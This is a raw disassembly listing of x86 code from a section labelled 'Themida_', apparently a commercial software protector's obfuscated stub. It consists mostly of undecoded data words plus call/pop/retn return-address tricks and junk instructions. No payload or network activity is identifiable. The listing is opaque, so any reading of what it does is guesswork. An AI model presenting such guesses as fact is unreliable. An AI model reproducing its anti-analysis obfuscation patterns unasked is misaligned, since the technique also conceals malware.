push 0E3E45B86h
mov [ebp+6121935h], edi
push dword ptr [ebp+61203B1h]
sub edx, 2D996020h
lea eax, [ebp+6123B5Dh]
push 0
push esi
call sub_577F29
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_577F29 proc near ; CODE XREF: Themida_:00577F21p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_577F29 endp
; ---------------------------------------------------------------------------
db 85h, 2 dup(66h)
dd 0D0FFFE8Bh, 21C1958Bh, 4680612h, 81000001h, 71A759C2h
dd 19D8D72h, 0E806120Fh, 13h, 0BB311E82h, 0B787FF5Dh, 18F3D4DDh
dd 0CC2DF46h, 8BECCA48h, 8B6659CBh, 0BD8953F8h, 6121E61h
dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 0A43C23C3h, 8024C287h, 953129D9h, 612116Dh
dd 2F898D01h, 858D0612h, 6120F01h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 69C35747h, 0B70F6A12h, 958B50FBh
dd 6121211h, 2A0858Dh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 6D4DAC3h, 0B98AC34h
dd 13E8h, 6E706900h, 96B96FF0h, 118AFCEFh, 6D5379FAh, 0F9ACC38Dh
dd 1051958Bh, 0E8590612h, 11h, 3111235Ah, 0D3876B24h, 6C948130h
dd 0BB236411h, 68D0FB7h, 8B000000h, 121BAD8Dh, 0E9505A06h
dd 14h, 40F37CC7h, 6E95B527h, 0D3F7EE83h, 0A37E0B20h, 4160984Bh
dd 0F973858Dh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 0BED4F2C3h, 8B19E3ADh, 12000DBDh
dd 0BD235006h, 612211Dh, 237195FFh, 51500612h, 2F35BD89h
dd 5A5F0612h, 520CC483h, 15AFA8Bh, 122C699Dh, 68006A06h
dd 80h, 6A036Ah, 68006Ah, 8D800000h, 14F97385h, 95FF5006h
dd 612042Dh, 2838589h, 85C60615h, 6122871h, 5E876847h
dd 0B5FFC7B1h, 61203B1h, 3B5D858Dh, 0D0FF0612h, 0B5FF006Ah
dd 6150283h, 0F5B1D0FFh, 4299501h, 0D03D0612h, 0F000037h
dd 6783h, 0D7BF0F00h, 283B5FFh, 85890615h, 6121C99h, 9E9h
dd 1BC29C00h, 0F7247DCAh, 95FF4EB9h, 6121BA1h, 89CA8B60h
dd 1216A19Dh, 0F6E96106h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0E0A4C356h
dd 0D0B7A4ACh, 0A2D7BB03h, 5E9h, 22B52200h, 8D8B94F8h
dd 61234B5h, 283B5FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 3AFBF1C3h, 81B21CE5h
dd 9529CD86h, 6121CADh, 0A3EA8166h, 0A195FF26h, 8906121Bh
dd 12186985h, 0F006A06h, 58Dh, 0E9816600h, 6ACEE5h, 0DBC3C281h
dd 6A7887h, 1A618D29h, 6A0612h, 10870Fh, 8E80000h, 9A000000h
dd 8BCA91D8h, 8A7B4329h, 6A5FF7h, 9E58D8Bh, 6A0612h, 0FFAB70Fh
dd 8Ah, 87858D00h, 0F061502h, 68Ah, 6D8D8B00h, 0F061200h
dd 486h, 0BBBA6600h, 0BF0F5033h, 2D95FFCFh, 0F061204h
dd 0F883FABFh, 35850FFFh, 8B000001h, 120401BDh, 8A858D06h
dd 310614BDh, 1213C18Dh, 8BD0FF06h, 120C818Dh, 0F006A06h
dd 68Ah, 418D2900h, 6A061214h, 13880F00h, 0E9000000h, 0Eh
dd 0B1621FACh, 0DC388D00h, 0FD9F9669h, 6AF4B9h, 13E8h
dd 0B8382900h, 0DE13DB93h, 0EDDCDC9Dh, 0B45F0641h, 0CC391406h
dd 6A5AF8h, 6820Fh, 0B5890000h, 61222B5h, 1E398531h, 6A0612h
dd 1A4D8D8Bh, 6A0612h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 1FC35343h, 287858Dh, 6A0615h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 6B1210C3h, 0F671BA5h, 60FFB70Fh, 0B2C1BF0Fh, 6A5061F3h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 29F1C355h, 123039BDh, 2D95FF06h, 83061204h
dd 850FFFF8h, 38h, 98D78166h, 0B58DF92Bh, 614FC8Fh, 858DF98Bh
dd 614A7DFh, 2C5D4FBAh, 8BD0FF36h, 1231AD8Dh, 2EBA6606h
dd 0F006AB6h, 388h, 0CEBF0F00h, 30FD95FFh, 65B50612h, 2838589h
dd 6A0615h, 0E71467B9h, 7B858D64h, 0B9061502h, 36533637h
dd 0FE950h, 87710000h, 0C6404C89h, 0B4462FE6h, 62056E3Fh
dd 8B046ACFh, 12110D8Dh, 0C1858D06h, 0F061209h, 68Dh, 91958900h
dd 50061204h, 6C5958Bh, 6A0612h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 0F6C35141h, 0E91F745Eh, 12h
dd 6F18324Bh, 83306511h, 0CCB77008h, 773C44E0h, 6A7890h
dd 16ACA8Bh, 29059589h, 810F0612h, 6, 1FCD8589h, 0B5FF0612h
dd 6150283h, 0FFCF8B66h, 122D2595h, 0EBBF6606h, 1B77E973h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 0F5DA11C3h, 4AC40B2h, 9D89F88Bh, 6121E29h
; ---------------------------------------------------------------------------
loc_578444: ; CODE XREF: Themida_:00577E9Ej
mov eax, eax
mov ecx, edi
cmp dword ptr [ebp+6121B91h], 0
jnz short loc_57845A
cmp dword ptr [ebp+61217DDh], 0
jz short loc_578473
loc_57845A: ; CODE XREF: Themida_:0057844Fj
push eax
push ebx
mov eax, eax
mov eax, 7D2h
mov [ebp+6120085h], eax
lea ebx, [ebp+614AE0Fh]
call ebx
pop ebx
pop eax
loc_578473: ; CODE XREF: Themida_:00578458j
cmp dword ptr [ebp+61217DDh], 0
jz short loc_578493
push eax
push ebx
mov eax, 7D2h
mov [ebp+6120085h], eax
lea ebx, [ebp+614AAFEh]
call ebx
pop ebx
pop eax
loc_578493: ; CODE XREF: Themida_:0057847Aj
push 0
push edx
call sub_57849E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57849E proc near ; CODE XREF: Themida_:00578496p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_57849E endp
; ---------------------------------------------------------------------------
xchg al, bh
sub eax, 56006A80h
call sub_5784BD
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5784BD proc near ; CODE XREF: Themida_:005784B5p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5784BD endp
; ---------------------------------------------------------------------------
db 0D7h, 45h, 29h
dd 40BBFE75h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 0EF273AC3h, 0C1A67907h, 0F78166DAh
dd 85C7383Ah, 61207ADh, 1, 13018501h, 0B8680612h, 0FFCEE4E7h
dd 1222EDB5h, 5D858D06h, 0FF06123Bh, 258589D0h, 8D061204h
dd 1504DF85h, 858D5006h, 615079Ch, 16850h, 95FF8000h, 6120425h
dd 0A75C00Bh, 193985C7h, 10612h, 0D4680000h, 0FFC005DBh
dd 1222EDB5h, 5D858D06h, 0FF06123Bh, 658589D0h, 8D061217h
dd 14F72C85h, 0B5FF5006h, 61203B1h, 9E195FFh, 0C00B0612h
dd 0D88B0B74h, 6DF858Dh, 0FF500615h, 0DF858DD3h, 66061506h
dd 75093883h, 3D85C70Ah, 1061205h, 0FF000000h, 122FD995h
dd 0FF2506h, 0F8830000h, 0C70A7305h, 121C3185h, 106h, 6AB96600h
dd 52006A0Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 9B51F274h, 70E28151h, 5902E2DFh, 1A318D8Bh
dd 0BD800612h, 61502EEh, 15840F00h, 0B1000000h, 0B8BA660Dh
dd 98BD839Ch, 61507h, 9840Fh, 0D1B20000h, 1980E9h, 83595300h
dd 12053DBDh, 850F0006h, 0B6h, 737BBF66h, 2B8858Dh, 0BD8B0615h
dd 61206D9h, 5D858950h, 6A061206h, 0C1816601h, 6ADFDCh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8CC35242h
dd 6A006A95h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 6086C352h, 0F4F01AFh, 68Fh, 25BD0900h
dd 0FF06122Ah, 122F4995h, 89F98B06h, 1502E285h, 85336006h
dd 6123085h, 6870Fh, 810F0000h, 0
; ---------------------------------------------------------------------------
popa
push 0FFFFFFFFh
mov dx, 6AD4h
push dword ptr [ebp+61502E2h]
jmp loc_5786C5
; ---------------------------------------------------------------------------
dw 0C9C9h
dd 5711D1A6h
db 1Ah
; ---------------------------------------------------------------------------
loc_5786C5: ; CODE XREF: Themida_:005786B9j
mov edx, 5BBA271Fh
call dword ptr [ebp+6122CB5h]
adc edx, 2D5B4B71h
lea eax, [ebp+614F6F3h]
xor ecx, [ebp+6122319h]
push eax
mov edx, [ebp+6122039h]
call dword ptr [ebp+61220C1h]
and edx, [ebp+6121855h]
mov [ebp+614F77Dh], eax
push 0
push ebx
call sub_578706
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_578706 proc near ; CODE XREF: Themida_:005786FEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_578706 endp
; ---------------------------------------------------------------------------
dw 83D4h
dd 0FB5D180h, 58Ah, 0CA816600h, 858DF56Ch, 614F700h, 50FBBF0Fh
dd 2EDDBD89h, 0B5FF0612h, 614F77Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 18C35040h, 0CAE9B687h, 0A2A5E073h
dd 0B1B77BFh, 0E195FF4Eh, 8B061209h, 0D8589D3h, 0F06121Bh
dd 80h, 6E858D00h, 6A0614F7h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 13D5C355h, 4E7E9C50h
dd 0BD29644Ah, 61210E1h, 565B589h, 50500612h, 59D78B52h
dd 7DB5FF5Ah, 0E90614F7h, 12h, 4DCE8AB3h, 6A68400Eh, 5C0F3021h
dd 29BDBEE4h, 6E9CD9Dh, 0CD000000h, 0E5416A08h, 0E195FF11h
dd 66061209h, 8589D18Bh, 614F791h, 0D361B9BFh, 4D858D2Ah
dd 890614F7h, 1219A5BDh, 6A5006h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0E9031EC3h, 2ED5B589h
dd 0AE90612h, 59000000h, 5D15B5A7h, 259A8EA9h, 7DB5FF62h
dd 6A0614F7h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 2230C350h, 0D2816625h, 95FF41C4h
dd 61209E1h, 8B51F98Bh, 121A298Dh, 85895906h, 614F789h
dd 8DC6C180h, 14F74085h, 358D8906h, 50061200h, 0D18D8B56h
dd 5F061219h, 0F77DB5FFh, 8B660614h, 0E195FFFEh, 8B061209h
dd 1201B18Dh, 8D858906h, 890614F7h, 1219659Dh, 0D1BD8906h
dd 8D061219h, 14F75B85h, 50CE8B06h, 19DF8166h, 7DB5FF77h
dd 90614F7h, 1203ADBDh, 0E195FF06h, 81061209h, 0D9D697E9h
dd 1BD8B05h, 89061205h, 12003985h, 0ED8D8B06h, 8D06121Bh
dd 14F70F85h, 13E906h, 2B310000h, 1D88ADD5h, 10110085h
dd 6CDFD043h, 1B0731B2h, 0D18B5099h, 30259D89h, 0B5FF0612h
dd 614F77Dh, 9E195FFh, 0BF660612h, 8589068Ch, 614F781h
dd 14E8h, 2F6A7600h, 8E601FBAh, 27AD3AF3h, 87527C98h, 0EF54F3D0h
dd 0C981668Ah, 8D5A411Eh, 14F71E85h, 3350F806h, 12129D95h
dd 7DB5FF06h, 0F0614F7h, 1281h, 0C8F0F00h, 0E9000000h
dd 7, 8AB59AFEh, 0FF95FCD0h, 1209E195h, 0B6E28106h, 897E24EDh
dd 14F78585h, 25BF6606h, 1046889h, 0B9660000h, 0C28136ABh
dd 26CEFB63h, 0F815858Dh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 0C8321BC3h, 6F5B7E73h
dd 5F51613Ah, 85BD8B50h, 8D061226h, 14F91985h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 4196037Dh, 0AA1B6219h, 8950F6CAh, 121ACDBDh, 5995FF06h
dd 23061210h, 1215ED8Dh, 0FC08506h, 285h, 80D08B00h, 1502EEBDh
dd 850F0006h, 0Eh, 0FCCEF781h, 6AE911D8h, 0F000015h, 0BD83FFBFh
dd 612053Dh, 36850F00h, 89000000h, 121BB185h, 98BD8306h
dd 61507h, 46840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 2B1AB3C3h, 122AFD8Dh
dd 0B2858D06h, 890614F7h, 121C7DBDh, 1513E906h, 8B660000h
dd 18E9C8h, 5E90000h, 47000000h, 413F4D39h, 0F79D858Dh
dd 81600614h, 4FC893F1h, 89506164h, 12004DBDh, 918D3106h
dd 8D061222h, 14F81585h, 258D2B06h, 8B06122Ah, 121A5D95h
dd 6A5006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 64B98DC3h, 8589604Bh, 6121531h, 12DD952Bh
dd 8A610612h, 3DBD83D0h, 61205h, 2D840Fh, 830F0000h, 11h
dd 9E8h, 5300B700h, 0CBB785CAh, 6160D56Dh, 3B858D59h, 10614F9h
dd 121EF1BDh, 16E906h, 53510000h, 8D5A5FF8h, 14F92485h
dd 6E906h, 0B2930000h, 183F79Eh, 0CE950h, 9EC30000h, 8FC37696h
dd 5B0E96E6h, 12E9289Fh, 64000000h, 0DFCAAD6Fh, 0F81A3066h
dd 317E29DCh, 501E131Bh, 73858D71h, 0F0614F9h, 386h, 0CA8B6600h
dd 0FF06B550h, 12237195h, 0FAB70F06h, 58B0Fh, 0DCB90000h
dd 835110B1h, 0BD8B10C4h, 6120C91h, 0BD8BC08Bh, 6122329h
dd 1B91BD83h, 75000612h, 0DDBD8309h, 61217h, 53501974h
dd 0D3B8C08Bh, 89000007h, 12008585h, 0F9D8D06h, 0FF0614AEh
dd 83585BD3h, 1217DDBDh, 17740006h, 0D3B85350h, 89000007h
dd 12008585h, 0FE9D8D06h, 0FF0614AAh, 60585BD3h, 89616060h
dd 122259BDh, 890F6106h, 6, 850Fh, 0E8610000h, 12h, 2A62AE2Dh
dd 0F8B8B7FCh, 0B684916Ah, 0A40A1678h, 8D8BB005h, 6122D41h
dd 89C08B5Ah, 123131BDh, 800F06h, 81000000h, 14F79DBDh
dd 65726F06h, 0A8840F61h, 66000000h, 0E9FE61B9h, 14h, 0A39A3484h
dd 0C2D7DB87h, 4AB7CED4h, 0C209B7A3h, 0D52D9A06h, 0F815858Dh
dd 8D500614h, 14F95285h, 858D5006h, 614F973h, 7195FF50h
dd 83061223h, 85C60CC4h, 6122871h, 184F6844h, 0B5FF96A3h
dd 61203B1h, 3B5D858Dh, 0D0FF0612h, 858DD88Bh, 614F973h
dd 8DD3FF50h, 14F79D85h, 858D5006h, 614F815h, 3DBD8350h
dd 61205h, 858D0874h, 614F93Bh, 858D06EBh, 614F924h, 73858D50h
dd 500614F9h, 237195FFh, 0C4830612h, 6840F10h, 8B000000h
dd 12069995h, 0DDB50906h, 0FF061230h, 122FD995h, 25D1B506h
dd 0FFh, 5F883F8h, 62830Fh, 95890000h, 612091Dh, 28E0F60h
dd 8B000000h, 14E9F1h, 0FE510000h, 0C0E6E17Fh, 0A25DA4A2h
dd 32F299Fh, 0BFBB6B48h, 0C761AE3Dh, 121C3185h, 106h, 1BDE8000h
dd 0F7D1858Dh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 9B9906C3h, 4BE969h, 0BFB60000h
dd 53DBD83h, 0F000612h, 3184h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8D8DB984h
dd 14F7FC85h, 0E9CB8B06h, 11h, 1E6DC781h, 858D4C16h, 614F7DEh
dd 6D18166h, 118589CEh, 0F0614F8h, 281h, 83FB8B00h, 12053DBDh
dd 850F0006h, 12h, 83FA8B66h, 150798BDh, 840F0006h, 0Ch
dd 0BEE9EA8Ah, 0BF000011h, 30EA256Bh, 505E9h, 0D8D2900h
dd 8B061235h, 8D8B50C0h, 61203D1h, 91BD8359h, 6121Bh, 0BD830975h
dd 61217DDh, 50197400h, 0B8C08B53h, 7D4h, 858589h, 9D8D0612h
dd 614AE0Fh, 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h
dd 7D4h, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh, 1B3DBD8Bh
dd 880F0612h, 6, 72DB589h, 0C08B0612h, 2D39BD23h, 8D890612h
dd 6121935h, 0F003F68h, 95316000h, 6121B3Dh, 2A3D9D89h
dd 6A610612h, 0FE900h, 4FB20000h, 376D6E6h, 0FC6F8DC1h
dd 29C9C20Ah, 8B006A21h, 0C1A2B9C8h, 95FF69C3h, 6121B0Dh
dd 2FB18D8Bh, 0C0850612h, 2A850Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 87174CC3h
dd 8D899DDFh, 612004Dh, 0F28ABF66h, 0F7958589h, 0F600614h
dd 58Ah, 0E2816600h, 8F0F24CCh, 6, 1198529h, 6A610612h
dd 12E900h, 67450000h, 0CECA1209h, 62F268Dh, 6CF6FBADh
dd 72B8617Bh, 0BE9h, 40938F00h, 22052E87h, 836C528h, 8B66006Ah
dd 6A006AD1h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0A0E2C357h, 9E9h, 0D88F5500h, 2F78D56Ch
dd 6AC218h, 5820Fh, 81660000h, 6AE601D9h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 8D2D2356h, 14F97385h, 0D9B50906h, 50061206h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0B1C35545h, 8169C59Dh
dd 0D6B918F7h, 6A016A02h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 67BC350h, 950BDD61h
dd 6123145h, 6A016Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 0BD8A80C3h, 0E518A81Dh, 6AEEA232h
dd 0D5BD8901h, 68061229h, 0F01FFh, 17618D8Bh, 0BD830612h
dd 612053Dh, 26840F00h, 0F5000000h, 0F7F2858Dh, 0E9800614h
dd 0BE874h, 0A40B0000h, 7A6346E4h, 5E53D14h, 12E959D7h
dd 81000000h, 5EEE42E1h, 0C8858D63h, 8B0614F7h, 121381BDh
dd 95895006h, 612104Dh, 0F5F404BAh, 870F5055h, 6, 840Fh
dd 0B5FF0000h, 614F795h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 3C35646h, 7CAC9837h, 0A1BC35E6h, 17C98166h
dd 8195FF3Fh, 660614F7h, 59CBC281h, 850FC085h, 0Dh, 0E9CE8B66h
dd 84h, 0DC78166h, 99858986h, 6A0614F7h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6EEC352h
dd 90AB183Eh, 8B06408Ch, 1223B18Dh, 99B5FF06h, 6A0614F7h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 4031C351h, 17D8529h, 95FF0612h, 6120039h
dd 58D0Fh, 81660000h, 667B5AD7h, 0C085F98Bh, 0A850Fh, 0BF660000h
dd 0B58992E8h, 6123181h, 0CE8B106Ah, 53DBD83h, 0F000612h
dd 3184h, 858DF900h, 614F7F2h, 14E9h, 8046C300h, 0E8B4195Bh
dd 9CC64621h, 0EDA18F14h, 5D0C4D34h, 1CE91Ah, 830F0000h
dd 6, 1B09BD29h, 858D0612h, 614F7C8h, 5E9h, 38450400h
dd 6A504024h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 0F739C353h, 0B5FFFEB4h, 614F795h
dd 0FFFBB70Fh, 14F78D95h, 0E98D0906h, 0E906120Eh, 5, 969D48B5h
dd 0FC085ABh, 685h, 870F00h, 89000000h, 14F79985h, 9E906h
dd 6E3F0000h, 44CF6205h, 6A9A1C4Dh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0E2133F0Fh
dd 4AA8DF2Ch, 0BA14BA66h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 0F12AA9C3h, 5803BFA1h
dd 31DAD3D1h, 121971BDh, 99B5FF06h, 890614F7h, 12075595h
dd 8D8B6006h, 61208C5h, 8595FF61h, 6A0614F7h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 5EAEC356h, 9C2DEBFCh, 0BE826A5h, 0A3000000h, 0DAD80D83h
dd 0FE940BE6h, 3156FCC4h, 1215D195h, 855A5A06h, 0B850FC0h
dd 0E9000000h, 6, 728E319Bh, 0B5FFB224h, 614F799h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 6EC35242h, 8979B6D7h
dd 1218D595h, 3995FF06h, 0F061200h, 958BCBB7h, 6122F4Dh
dd 850FC085h, 6, 0DA5B589h, 6A0612h, 0BAFC44BFh, 80680Eh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 8B43BCC3h, 120C85BDh, 657AB906h, 36A4140h
dd 43080EBFh, 89006A74h, 122A6185h, 2B006A06h, 12096DBDh
dd 6806h, 0BD33C000h, 6121275h, 0F811B5FFh, 12E90614h
dd 0BE000000h, 0C65C1114h, 0A5D704DAh, 0AFA1C1CFh, 37DD80B8h
dd 2D95FF42h, 0E8061204h, 0Bh, 6E6EC678h, 676FBE06h, 0E92490D3h
dd 0Eh, 0BF5FF71Ah, 0FF123CF1h, 0CBD5D162h, 835FB1CBh
dd 850FFFF8h, 51Eh, 27F85FFh, 82BF0615h, 831F1660h, 15027FBDh
dd 840F0206h, 40Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 8AC35242h, 3B858D3Ch, 52005B24h, 8BD0FF5Fh
dd 120EFD95h, 8E858D06h, 8B005B1Eh, 1211858Dh, 6AD0FF06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 8912C353h, 1215A58Dh, 3C08B06h, 120DC9BDh
dd 91BD8306h, 6121Bh, 0BD830975h, 61217DDh, 50197400h
dd 0B8C08B53h, 7D8h, 858589h, 9D8D0612h, 614AE0Fh, 585BD3FFh
dd 17DDBD83h, 74000612h, 0B8535017h, 7D8h, 858589h, 9D8D0612h
dd 614AAFEh, 585BD3FFh, 3319589h, 0BD890612h, 6121B69h
dd 0F60C08Bh, 587h, 0A1ECB900h, 840F4D36h, 6, 1749BD8Bh
dd 68610612h, 0F003Fh, 2FE78166h, 6A006A47h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 5F34E7A3h, 0BA6660D2h, 0F281C3FDh, 3CDA1C2Ch, 0D95FF61h
dd 0BF06121Bh, 1F515620h, 6AC085h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 0B10507C3h, 8B76B121h
dd 12178595h, 95858906h, 0E90614F7h, 0Eh, 18FD0CEDh, 0D40AA620h
dd 4B2D08B6h, 0FF681832h, 83000F01h, 12053DBDh, 840F0006h
dd 21h, 1739B589h, 858D0612h, 614F7F2h, 2A798D01h, 16E90612h
dd 0E9000000h, 5, 0CA8C92FAh, 0C8858D38h, 890614F7h, 122FDDBDh
dd 0BF0F5006h, 95B5FFFFh, 6A0614F7h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 8A92C356h
dd 0FFCB8B57h, 14F78D95h, 0FC53F506h, 9985895Fh, 660614F7h
dd 1E855B9h, 1210E9BDh, 5985C706h, 61202h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 6A52C357h, 0DA506123h, 83CE8B66h, 14F799BDh, 840F0006h
dd 1C6h, 290D950Bh, 858D0612h, 614FA77h, 22B59589h, 89500612h
dd 1219B99Dh, 6A016A06h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 2958C352h, 73D21AE2h
dd 0B5FF9388h, 614F799h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 52C35646h, 91961333h, 9195FFFCh, 0F0614F7h
dd 0B5FFD6B7h, 614F799h, 9859B966h, 95FF72B6h, 6120039h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 80C35747h
dd 87CF8166h, 1FF6805h, 4DBA000Fh, 831DEAC9h, 12053DBDh
dd 840F0006h, 5Eh, 68B0Fh, 0B5010000h, 6120E81h, 0F7F2858Dh
dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 0E3E5ABC3h, 991E9A51h, 34E9F8C3h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 1D49C356h, 33235CDCh, 858D86F2h, 614F7C8h
dd 0DB1B529h, 8FBA0612h, 501F9525h, 0FF32E280h, 14F795B5h
dd 5D8D8B06h, 0FF061200h, 14F78D95h, 6880F06h, 29000000h
dd 12241595h, 99858906h, 660614F7h, 0B5FFCF8Bh, 614F799h
dd 11E9h
dd 0EB0F9500h, 28CD61D6h, 0E8B570D6h, 4B8B3C58h, 4EB6A5A0h
dd 0F78995FFh, 0C9810614h, 2248E122h, 0F799B5FFh, 0EF810614h
dd 64E18250h, 3995FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 11E957C3h, 19000000h
dd 0A5FDF307h, 8DF15EBDh, 45172A9Fh, 0B02CED69h, 29058589h
dd 5CE90612h, 6AFFFFF6h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 552C353h, 8B62B51Eh
dd 120319BDh, 0E2B5FF06h, 60061502h, 0A6ABBE66h, 68F0Fh
dd 85090000h, 6121FCDh, 3195FF61h, 0E906121Bh, 10h, 2BBAA35Fh
dd 0A29F5524h, 7D08E659h, 0ABF9B3EAh, 858BD38Bh, 6120E21h
dd 1443C6B9h, 5B8E944h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 70DC91C3h, 0B8A5B69Bh
dd 0D981B3F6h, 20B39525h, 8E9h, 75008900h, 0B57DB51Fh
dd 97B58DD3h, 810614FAh, 551C19D7h, 0DF858D1Bh, 6A0614A7h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 1C29C355h, 198D8BD6h, 0FF061218h, 25BF66D0h
dd 66006A4Bh, 95FFFE8Bh, 61230FDh, 9F38BF8h, 12144195h
dd 8DF48A06h, 14A7DF85h, 0CEBF0F06h, 0CD80D0FFh, 0F006A89h
dd 95FFD0B7h, 61230FDh, 0BE9h, 0D3862F00h, 71BBD581h, 13751C36h
dd 0C08BF88Bh, 14E9h, 0DE61E900h, 33AB2903h, 0B798489Ah
dd 0E4ADB964h, 0F02847A9h, 91BD83D9h, 6121Bh, 0BD830975h
dd 61217DDh, 50197400h, 0B8C08B53h, 7D9h, 858589h, 9D8D0612h
dd 614AE0Fh, 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h
dd 7D9h, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh, 104D8D23h
dd 0CA8B0612h, 8D89C08Bh, 61221C1h, 0BE8h, 5EA3A300h, 0B286DC5Fh
dd 38C9F333h, 505AD38Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 0DAC35545h, 299A3A6Eh, 0BD8BA8DCh, 6120DB9h
dd 840FD88Bh, 0Ah, 820F60h, 52000000h, 8D53615Bh, 12212D9Dh
dd 89038B06h, 50438B03h, 8D504389h, 15027B9Dh, 89038B06h
dd 66605B03h, 0E9889ABBh, 6, 4BE5033Ah, 0E861F1EAh, 14h
dd 0F569FD4Fh, 11D44B0Fh, 0B056699Ch, 85B61DCh, 37A58FD8h
dd 0F1C1BF66h, 8D006A59h, 15027B85h, 0BD8B5606h, 6121291h
dd 0BF66505Fh, 606A217Dh, 0B2CF8B66h, 2D858D17h, 89061221h
dd 1208ED9Dh, 6A5006h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0D837C3C3h, 6AF444h, 0EE8h, 0DF55E400h
dd 3C0E311Bh, 0E77C3B61h, 0E8B66F87h, 0Ah, 105F4246h, 0C0504761h
